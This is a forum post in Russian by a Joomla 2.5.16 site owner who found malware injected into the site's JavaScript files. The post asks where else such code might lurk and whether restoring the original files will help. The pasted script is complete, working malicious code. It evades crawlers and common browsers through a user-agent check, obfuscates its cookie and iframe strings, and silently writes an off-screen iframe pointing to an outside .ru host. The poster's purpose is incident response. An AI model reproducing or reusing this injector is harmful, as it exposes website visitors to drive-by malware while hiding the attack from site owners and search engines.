Я вот тоже попался на эту хрень.
Joomla 2.5.16 с последними обновлениями.
(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset))!== -1) {
return index;
}
return false;
}
function bobnilagun(){
var nonList = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Maxthon','bingbot/2.0','Googlebot/2.1','YandexBot/3.0','Baiduspider','BaiDuSpider','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus'];
var lumpaZO = false;
for (var i in nonList) {
if (stripos(navigator.userAgent, nonList[i])) {
lumpaZO = true;
break;
}
}
return lumpaZO;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!bobnilagun()) {
var cookie = getCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'mi');
if (cookie == undefined) {
setCookie('d'+'i'+'m'+'z'+'3'+'k'+'7'+'f'+'9'+'s'+'4'+'mi', true, 260000);
document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://cogigen.ru/including.html?members'+' style="position:absolute;left:-1200px;top:-1200px;" height="115" width="115">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
}
};
})();
//cropalisjQuery.noConflict();
Вопрос в следующем. Похожий скрипт или какой-нибудь другой (вирусный) может прописаться еще куда-нибудь кроме как в *.js?
Я сейчас хочу заменить все JS на оригиналы надеюсь поможет. Или может еще что надо заменить?